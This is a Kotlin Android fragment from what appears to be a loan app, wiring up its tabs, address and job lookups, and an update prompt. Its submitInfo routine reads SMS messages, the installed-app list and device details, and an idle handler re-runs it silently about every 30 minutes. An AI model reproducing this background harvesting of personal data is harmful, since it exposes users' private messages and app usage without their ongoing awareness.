package com.uduew.sjd.ui

import android.os.Bundle
import android.os.Looper
import android.os.MessageQueue
import android.view.View
import androidx.fragment.app.Fragment
import androidx.fragment.app.FragmentActivity
import androidx.viewpager2.adapter.FragmentStateAdapter
import com.hjq.permissions.Permission
import com.hjq.permissions.XXPermissions
import com.uduew.sjd.BR
import com.uduew.sjd.R
import com.uduew.sjd.api.AppUpdateApi
import com.uduew.sjd.api.GetAddressApi
import com.uduew.sjd.api.GetJobPostApi
import com.uduew.sjd.bean.HttpBean
import com.uduew.sjd.config.AppConfig
import com.uduew.sjd.message.Messages
import com.uduew.sjd.message.PageMessenger
import com.uduew.sjd.net.DataRepository
import com.uduew.sjd.net.DataResult
import com.uduew.sjd.request.UpdateAppRequester
import com.uduew.sjd.ui.base.BaseFragment
import com.uduew.sjd.ui.base.StateHolder
import com.uduew.sjd.ui.home.HomeFragment
import com.uduew.sjd.ui.mine.MineFragment
import com.uduew.sjd.ui.repayment.RepaymentFragment
import com.uduew.sjd.utils.MainHandler
import com.uduew.sjd.utils.ToastUtils
import com.uduew.sjd.view.xpop.UpdatePromptXpop
import com.kongzue.dialogx.dialogs.WaitDialog
import com.kunminx.architecture.ui.page.DataBindingConfig
import com.kunminx.architecture.ui.state.State
import com.lxj.xpopup.XPopup
import com.lxj.xpopup.enums.PopupAnimation
import com.uduew.sjd.ui.home.LoanFragment
import com.uduew.sjd.ui.mine.LoanDetailFragment
import com.uduew.sjd.utils.SubmitUtils
import com.uduew.utils.NetworkUtils
import kotlin.collections.ArrayList

class MainFragment : BaseFragment() {

    lateinit var state: IndexStates
    private lateinit var mMessenger: PageMessenger
    private lateinit var mUpdateAppRequester: UpdateAppRequester
    var updatePromptXpop: UpdatePromptXpop? = null

    override fun initViewModel() {
        state = getFragmentScopeViewModel(IndexStates::class.java)
        mMessenger = getApplicationScopeViewModel(PageMessenger::class.java)
        mUpdateAppRequester = getFragmentScopeViewModel(UpdateAppRequester::class.java)
    }

    private fun initData() {
        // 获取地址信息
        DataRepository.getInstance().getAddress(
            this,
            GetAddressApi("")
        ) { result: DataResult<HttpBean<ArrayList<GetAddressApi.AddressBean>>> ->
            if (!result.responseStatus.isSuccess) {
                ToastUtils.showShortToast(result.responseStatus.responseCode)
                return@getAddress
            }
            result.result.data?.let {
                AppConfig.mAddress = it
            }
        }
        // 获取职位信息
        DataRepository.getInstance().getJobPost(
            this,
            GetJobPostApi()
        ) { result: DataResult<HttpBean<ArrayList<GetJobPostApi.JobPostBean>>> ->
            if (!result.responseStatus.isSuccess) {
                ToastUtils.showShortToast(result.responseStatus.responseCode)
                return@getJobPost
            }
            result.result.data?.let {
                AppConfig.mJobs = it
            }
        }
    }

    private fun submitInfo() {
        XXPermissions.isGrantedPermissions(
            requireContext(), Permission.READ_SMS,
            Permission.GET_INSTALLED_APPS,
            Permission.ACCESS_COARSE_LOCATION,
            Permission.READ_PHONE_STATE
        ).let {
            if (it) {
                if (NetworkUtils.isConnected()) {
                    SubmitUtils.loadDeviceInfo(requireContext(), this@MainFragment)
                    SubmitUtils.loadSmsMessages(requireContext(), this@MainFragment)
                    SubmitUtils.loadAppMessages(requireContext(), this@MainFragment)
                }
            }
        }
    }

    private val idleHandler = MessageQueue.IdleHandler {
        // 空闲时触发提交
        trySubmitWhenIdle()
        true // 保持监听
    }


    private var lastSubmitTime = 0L
    private fun trySubmitWhenIdle() {
        if (System.currentTimeMillis() - lastSubmitTime > 30 * 60 * 1000) {
            submitInfo()
            lastSubmitTime = System.currentTimeMillis()
        }
    }


    override fun onResume() {
        super.onResume()
        // 注册空闲监听
        Looper.myQueue().addIdleHandler(idleHandler)
    }

    override fun onPause() {
        super.onPause()
        // 移除空闲监听
        Looper.myQueue().removeIdleHandler(idleHandler)
    }


    override fun onViewCreated(view: View, savedInstanceState: Bundle?) {
        super.onViewCreated(view, savedInstanceState)
        initData()
        mMessenger.output(this) { messages ->
            if (messages.eventId == Messages.EVENT_LOGIN_SUCCESS) {
                initData()
            } else if (messages.eventId == Messages.EVENT_SELECT_HOME) {
                state.selectPage.set(0)
                MainHandler.postDelay(500) {
                    mMessenger.input(Messages(Messages.EVENT_REFRESH_HOME))
                }
            } else if (messages.eventId == Messages.EVENT_UPDATE_SUCCESS) {
                WaitDialog.show(getString(R.string.loading))
                mUpdateAppRequester.request(this)
            } else if (messages.eventId == Messages.EVENT_SUBMIT_INFO) {
                submitInfo()
            } else if (messages.eventId == Messages.EVENT_INIT_MAIN) {
                if (messages.str1 != null && !messages.str1.isEmpty()) {
                    state.initTabAndPage.set(messages.str1)
                }
            }
        }

        mUpdateAppRequester.result.observe(viewLifecycleOwner) { dataResult: DataResult<HttpBean<AppUpdateApi.AppUpdateBean>> ->
            WaitDialog.dismiss()
            if (!dataResult.responseStatus.isSuccess) {
                ToastUtils.showShortToast(dataResult.responseStatus.responseCode)
                return@observe
            }
            dataResult.result.data.let {
                if (it != null) {
                    showUpdateDialog(it)
                }
            }
        }
        mUpdateAppRequester.request(this)
    }

    private fun showUpdateDialog(it: AppUpdateApi.AppUpdateBean) {

        if (updatePromptXpop == null) {
            updatePromptXpop = UpdatePromptXpop(requireActivity(), it)
        }
        if (updatePromptXpop?.isShow == true) {
            return
        }
        updatePromptXpop?.setOnAgreeClickListener(object : UpdatePromptXpop.OnAgreeClickListener {
            override fun onAgreeClick(anemia: String) {
                openUrlInBrowser("https://www.baidu.com")
            }

            override fun onCancelClick(isDeorbit: Boolean) {

            }
        })
        XPopup.Builder(requireActivity())
            .popupAnimation(PopupAnimation.ScaleAlphaFromCenter)
            .dismissOnTouchOutside(false)
            .dismissOnBackPressed(false)
            .asCustom(updatePromptXpop)
            .show()
    }


    override fun getDataBindingConfig(): DataBindingConfig? {
        return DataBindingConfig(R.layout.fragment_main, BR.vm, state)
    }

    abstract class BaseFragmentPagerAdapter(
        fragmentActivity: FragmentActivity,
        private val fragmentCount: Int
    ) : FragmentStateAdapter(fragmentActivity) {

        override fun createFragment(position: Int): Fragment {
            require(position in 0 until fragmentCount) {
                "Invalid position: $position. Adapter only has $fragmentCount fragments"
            }
            return createFragmentForPosition(position)
        }

        override fun getItemCount(): Int = fragmentCount

        protected abstract fun createFragmentForPosition(position: Int): Fragment
    }

    class FragmentPagerAdapter3(fragmentActivity: FragmentActivity) :
        BaseFragmentPagerAdapter(fragmentActivity, 3) {
        override fun createFragmentForPosition(position: Int) = when (position) {
            0 -> LoanDetailFragment()
            1 -> RepaymentFragment()
            else -> MineFragment()
        }
    }

    class FragmentPagerAdapter2(fragmentActivity: FragmentActivity) :
        BaseFragmentPagerAdapter(fragmentActivity, 3) {
        override fun createFragmentForPosition(position: Int) = when (position) {
            0 -> LoanFragment()
            1 -> RepaymentFragment()
            else -> MineFragment()
        }
    }

    class FragmentPagerAdapter(fragmentActivity: FragmentActivity) :
        BaseFragmentPagerAdapter(fragmentActivity, 3) {
        override fun createFragmentForPosition(position: Int) = when (position) {
            0 -> HomeFragment()
            1 -> RepaymentFragment()
            else -> MineFragment()
        }
    }


    class IndexStates : StateHolder() {
        val selectPage: State<Int> = State(-1)
        val initTabAndPage: State<String> = State("0")
    }
}